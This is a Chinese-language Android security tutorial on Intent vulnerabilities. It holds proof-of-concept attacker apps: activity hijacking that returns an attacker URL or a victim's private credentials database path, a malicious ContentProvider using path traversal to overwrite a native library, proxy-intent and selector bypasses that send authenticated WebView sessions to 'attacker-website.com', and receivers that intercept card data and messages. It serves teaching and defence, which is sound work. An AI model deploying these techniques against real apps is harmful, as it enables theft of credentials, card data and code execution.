Intent漏洞
Intent 概述
Intent 提供了一种在不同应用程序代码之间执行运行时绑定的功能。换句话说,Intent 允许您请求另一个应用组件执行操作。尽管 Intent 以多种方式促进组件之间的通信,但有三种基本用例:
启动 Activity
您可以通过将 Intent 传递给 startActivity() 来启动 Activity 的新实例。Intent 描述要启动的 Activity 并携带任何必要的数据。如果您希望在 Activity 完成时接收结果,请调用 startActivityForResult()。
传递 广播
系统为系统事件传递各种广播,例如系统启动或设备开始充电时。您可以通过将 Intent 传递给 sendBroadcast() 或 sendOrderedBroadcast() 来向其他应用传递广播。
启动 服务
您可以通过将 Intent 传递给 Context.startService() 或 Context.bindService() 来与后台服务通信。
Intent 结构
Intent 中包含的主要信息如下:
Action 是指定要执行的通用操作的字符串(例如查看或选择)。对于广播 Intent,这是发生并正在报告的操作。可以为应用内的 Intent 指定自定义操作(或供其他应用调用应用中的组件),但通常使用由 Intent 类或其他框架类定义的操作常量(如 ACTION_VIEW 或 ACTION_SEND)。
Data 是引用要操作的数据的 URI(一个 Uri 对象)和/或该数据的 MIME 类型。提供的数据类型通常由 Intent 的操作决定。例如,如果操作是 ACTION_EDIT,则数据应包含要编辑的文档的 URI。
Component name 是要启动的组件的名称。如果需要启动应用中的特定组件,应指定组件名称。
Category 是包含关于应处理 Intent 的组件类型的附加信息的字符串(如 CATEGORY_BROWSABLE 或 CATEGORY_LAUNCHER)。
Intent 可以携带不影响其解析到应用组件的附加信息。Intent 还可以提供以下信息:
Extras 是携带完成请求操作所需的附加信息的键值对。就像某些操作使用特定类型的数据 URI 一样,某些操作也使用特定的附加数据。
Flags 是在 Intent 类中定义的,用作 Intent 的元数据。标志可以指示 Android 系统如何启动 Activity(例如,Activity 应属于哪个任务)以及启动后如何处理它(例如,它是否属于最近活动列表)。
Intent 过滤器
Intent 过滤器是应用清单文件中的表达式,指定组件希望接收的 Intent 类型。例如,为 Activity 声明 Intent 过滤器使得其他应用可以直接使用某种类型的 Intent 启动该 Activity。同样,没有声明任何 Intent 过滤器的 Activity 只能使用显式 Intent 启动。
每个 Intent 过滤器由应用清单文件中的 <intent-filter> 元素定义,嵌套在相应的应用组件(如 <activity>
元素)中。在 <intent-filter>
内部,使用以下三个元素中的一个或多个来指定要接受的 Intent 类型:
<action> 在
name
属性中声明接受的 Intent 操作。<data> 声明接受的数据类型,使用一个或多个指定数据 URI(
scheme
、host
、port
、path
)和 MIME 类型各个方面的属性。<category> 在 name 属性中声明接受的 Intent 类别。
例如,这是一个带有 Intent 过滤器的 Activity 声明,用于在数据类型为文本时接收 ACTION_SEND Intent:
<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="text/plain"/>
</intent-filter>
</activity>
Intent 类型
有两种类型的 Intent:
显式 Intent
隐式 Intent
显式 Intent
显式 Intent 通过提供目标应用的包名或完全限定的组件类名来指定哪个应用将满足 Intent。
例如,如果您在应用中构建了一个名为 DownloadService
的服务,用于从网络下载文件,您可以使用以下代码启动它:
// 在 Activity 中执行,所以 'this' 是 Context
// fileUrl 是字符串 URL,如 "http://www.example.com/image.png"
Intent downloadIntent = new Intent(this, DownloadService.class);
downloadIntent.setData(Uri.parse(fileUrl));
startService(downloadIntent);
隐式 Intent
隐式 Intent 不命名特定组件,而是声明要执行的通用操作,这允许来自另一个应用的组件来处理它。
例如,如果您有希望用户与他人分享的内容,请创建一个具有 ACTION_SEND
操作的 Intent,并添加指定要分享内容的附加数据。当您使用该 Intent 调用 startActivity()
时,用户可以选择一个应用来分享内容。
// 使用字符串创建文本消息。
Intent sendIntent = new Intent();
sendIntent.setAction(Intent.ACTION_SEND);
sendIntent.putExtra(Intent.EXTRA_TEXT, textMessage);
sendIntent.setType("text/plain");
// 尝试调用 Intent。
try {
startActivity(sendIntent);
} catch (ActivityNotFoundException e) {
// 定义如果没有 Activity 可以处理 Intent 时您的应用应该做什么。
}
Intent 解析

隐式 Intent 通过系统传递以启动另一个 Activity,如下所示:
Activity A
创建一个带有操作描述的 Intent 并将其传递给startActivity()
。Android 系统
通过将 Intent 与基于三个方面的 Intent 过滤器进行比较来搜索最适合该 Intent 的 Activity:操作、数据(URI 和数据类型)和类别。页面 描述了如何根据应用清单文件中的 Intent 过滤器声明将 Intent 匹配到适当的组件。当找到匹配时,系统通过调用其
onCreate()
方法并将 Intent 传递给它来启动匹配的 Activity(Activity B
)。
如果 Android 系统
找不到任何 Activity(跨所有应用),将抛出 ActivityNotFoundException。
如果有多个 Intent 过滤器兼容,系统将启动应用选择器。它显示一个对话框,用户可以选择要使用的应用。
安全问题
滥用 Activity 的返回值
如果应用使用 startActivityForResult() 启动隐式 Intent,拦截应用可以使用 setResult() 将数据传递到应用的 onActivityResult() 中。
此类操作有两种类型:
系统操作通常导致读取任意文件。
自定义操作可能导致依赖于应用实现的不同漏洞。
自定义操作
假设,应用期望数据中的 url 在 WebView 中打开:
startActivityForResult(new Intent("com.victim.PICK_ARTICLE"), 1);
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode == 1 && resultCode == -1) {
webView.loadUrl(data.getStringExtra("picked_url"), getAuthHeaders());
}
}
您可以开始处理 com.victim.PICK_ARTICLE
操作并传递任意 url 在 WebView 中打开:
AndroidManifest.xml
<activity android:name=".EvilActivity"> <intent-filter android:priority="999"> <action android:name="com.victim.PICK_ARTICLE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity>
EvilActivity.java
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setResult(-1, new Intent().putExtra("picked_url", "https://attacker-website.com/")); finish(); }
系统操作
标准的 Android 操作,例如:
android.intent.action.PICK
选择照片android.intent.action.GET_CONTENT
选择文件android.media.action.IMAGE_CAPTURE
创建照片等等。
用于获取用户选择的文件(文档、图像、视频)的 URI,并在应用中处理它(例如通过发送到服务器)。大多数 Android/Java 库无法使用 Android ContentResolver
返回的 InputStream
向服务器发送数据。因此,应用经常在处理之前将 URI 数据缓存到文件中。这可能导致读取/写入任意文件。
任意文件读取
假设,应用获取 URI 并将文件缓存到外部目录(例如 SD 卡),易受攻击的应用可能如下所示:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivityForResult(new Intent(Intent.ACTION_PICK), 1337);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode != 1337 || resultCode != -1 || data == null || data.getData() == null) {
return;
}
Uri pickedUri = data.getData();
File cacheFile = new File(getExternalCacheDir(), "temp");
copy(pickedUri, cacheFile);
// 然后以某种方式处理文件
}
private void copy(Uri uri, File toFile) {
try {
InputStream inputStream = getContentResolver().openInputStream(uri);
OutputStream outputStream = new FileOutputStream(toFile);
copy(inputStream, outputStream);
}
catch (Throwable th) {
// 错误处理
}
}
public static void copy(InputStream inputStream, OutputStream outputStream) throws IOException {
byte[] bArr = new byte[65536];
while (true) {
int read = inputStream.read(bArr);
if (read == -1) {
break;
}
outputStream.write(bArr, 0, read);
}
}
在这种情况下,您可以创建一个应用,该应用将返回指向目标应用私有目录中文件的链接:
AndroidManifest.xml
<activity android:name=".PickerActivity"> <intent-filter android:priority="999"> <action android:name="android.intent.action.PICK" /> <category android:name="android.intent.category.DEFAULT" /> <data android:mimeType="*/*" /> <data android:mimeType="image/*" /> </intent-filter> </activity>
PickerActivity.java
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setResult(-1, new Intent().setData(Uri.parse("file:///data/data/com.victim/databases/credentials"))); finish(); }
当受害者点击活动选择器列表中的攻击者应用时,/data/data/com.victim/databases/credentials
文件会自动复制到 SD 卡,任何具有 android.permission.READ_EXTERNAL_STORAGE
权限的应用都可以读取它。
任意文件写入
假设,应用获取 content
URI 并将 ContentProvider 中的文件缓存到临时目录,易受攻击的应用可能如下所示:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivityForResult(new Intent(Intent.ACTION_PICK), 1337);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode != 1337 || resultCode != -1 || data == null || data.getData() == null) {
return;
}
Uri pickedUri = data.getData();
File pickedFile;
if("file".equals(pickedUri.getScheme())) {
pickedFile = new File(pickedUri.getPath());
}
else if("content".equals(pickedUri.getScheme())) {
pickedFile = new File(getCacheDir(), getFileName(pickedUri));
copy(pickedUri, pickedFile);
}
// 对文件执行某些操作
}
private String getFileName(Uri pickedUri) {
Cursor cursor = getContentResolver().query(pickedUri, new String[]{MediaStore.MediaColumns.DISPLAY_NAME}, null, null, null);
if(cursor != null && cursor.moveToFirst()) {
String displayName = cursor.getString(cursor.getColumnIndex(MediaStore.MediaColumns.DISPLAY_NAME));
if(displayName != null) {
return displayName;
}
}
return "temp";
}
private void copy(Uri uri, File toFile) {
try {
InputStream inputStream = getContentResolver().openInputStream(uri);
OutputStream outputStream = new FileOutputStream(toFile);
copy(inputStream, outputStream);
}
catch (Throwable th) {
// 错误处理
}
}
public static void copy(InputStream inputStream, OutputStream outputStream) throws IOException {
byte[] bArr = new byte[65536];
while (true) {
int read = inputStream.read(bArr);
if (read == -1) {
break;
}
outputStream.write(bArr, 0, read);
}
}
在这种情况下,您可以使用自己的 ContentProvider 向 getFileName()
方法传递包含路径遍历的名称:
AndroidManifest.xml
<activity android:name=".PickerActivity"> <intent-filter android:priority="999"> <action android:name="android.intent.action.PICK" /> <category android:name="android.intent.category.DEFAULT" /> <data android:mimeType="*/*" /> <data android:mimeType="image/*" /> </intent-filter> </activity> <provider android:name=".EvilContentProvider" android:authorities="com.attacker.evil" android:enabled="true" android:exported="true"> </provider>
EvilContentProvider.java
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"}); matrixCursor.addRow(new Object[]{"../lib-main/lib.so"}); return matrixCursor; } public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { return ParcelFileDescriptor.open( new File("/data/data/com.attacker/fakelib.so"), ParcelFileDescriptor.MODE_READ_ONLY ); }
这允许您绕过 /data/data/com.victim/cache/
目录的边界,并将文件写入 /data/data/com.victim/lib-main/lib.so
。如果目标应用加载此原生库,这将导致在受害者上下文中执行任意代码。
访问任意组件
由于 Intent 是 Parcelable
,属于此类的对象可以作为附加数据传递给另一个 Intent。这可用于创建一个代理组件(Activity、广播接收器或服务),该组件接受嵌入的 Intent 并将其传递给危险方法,如 startActivity()
或 sendBroadcast()
。因此,您可以强制应用启动无法直接从另一个应用启动的未导出组件,或者授予自己访问应用内容提供者的权限。
例如,假设一个应用有一个执行某些不安全操作的未导出 Activity 和一个用作代理的导出 Activity:
AndroidManifest.xml
<activity android:name=".ProxyActivity" android:exported="true" /> <activity android:name=".AuthWebViewActivity" android:exported="false" />
ProxyActivity.java
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
AuthWebViewActivity.java
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
在此示例中,AuthWebViewActivity
将用户身份验证会话传递给从 url 参数获取的 URL。
导出限制意味着您无法直接访问 AuthWebViewActivity
,直接调用会抛出 java.lang.SecurityException
并显示 Permission Denial: AuthWebViewActivity not exported from uid 1337
消息:
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://attacker-website.com/");
// 抛出 java.lang.SecurityException
startActivity(intent);
但是,您可以强制受害者自行启动 AuthWebViewActivity
:
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://attacker-website.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
没有安全违规,因为应用有权访问其自己的所有组件。因此,它允许您绕过 Android 的内置限制。
本身,启动隐藏组件不会产生太大的安全影响,需要滥用隐藏组件的功能:
通过 WebView 访问任意组件
绕过保护
开发者可以实现对接收的 Intent 的过滤,并显式设置处理 Intent 的组件 为 null
:
intent.setComponent(null);
在这种情况下,您可以通过选择器指定未导出组件来绕过应用的显式 Intent 保护:
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://attacker-website.com/");
当尝试查找可以处理 Intent 的实体时,将使用选择器,而不是 Intent 的主要内容。
但是,开发者可以将选择器显式设置为 null
:
intent.setComponent(null);
intent.setSelector(null);
即使如此,您也可以创建隐式 Intent 以匹配某些未导出 Activity 的 intent-filter
:
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
不安全的 Activity 启动
如果应用使用带有某些私有数据的隐式 Intent 来启动 Activity,您可以开始处理相同的操作以拦截私有数据。例如,假设一个银行应用使用带有卡数据的隐式 Intent 来启动 Activity:
<activity android:name=".AddCardActivity">
<intent-filter>
<action android:name="com.victim.ADD_CARD_ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
Intent intent = new Intent("com.victim.ADD_CARD_ACTION");
intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name", name.getText().toString());
// ...
startActivity(intent);
您可以按如下方式拦截卡数据:
AndroidManifest.xml
<activity android:name=".EvilActivity"> <intent-filter android:priority="999"> <action android:name="com.victim.ADD_CARD_ACTION" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </activity>
EvilActivity.java
Log.d("d", "Number: " + getIntent().getStringExtra("credit_card_number")); Log.d("d", "Holder: " + getIntent().getStringExtra("holder_name")); // ...
不安全的广播
如果应用使用隐式 Intent 来传递广播,您可以注册具有相同操作的广播接收器并拦截来自不同应用的用户广播。例如,假设一个消息服务从服务器请求新消息并将它们传递给负责在用户屏幕上显示它们的广播接收器:
Intent intent = new Intent("com.victim.messenger.IN_APP_MESSAGE");
intent.putExtra("from", id);
intent.putExtra("text", text);
sendBroadcast(intent);
由于隐式广播会传递给设备上注册的每个接收器,跨所有应用,您可以注册以下广播接收器来拦截用户广播:
AndroidManifest.xml
<receiver android:name=".EvilReceiver"> <intent-filter> <action android:name="com.victim.messenger.IN_APP_MESSAGE" /> </intent-filter> </receiver>
EvilReceiver.java
public class EvilReceiver extends BroadcastReceiver { public void onReceive(Context context, Intent intent) { if ("com.victim.messenger.IN_APP_MESSAGE".equals(intent.getAction())) { // 记录拦截的数据 Log.d("d", "From: " + intent.getStringExtra("from")); Log.d("d", "Text: " + intent.getStringExtra("text")); } } }
参考资料
最后更新于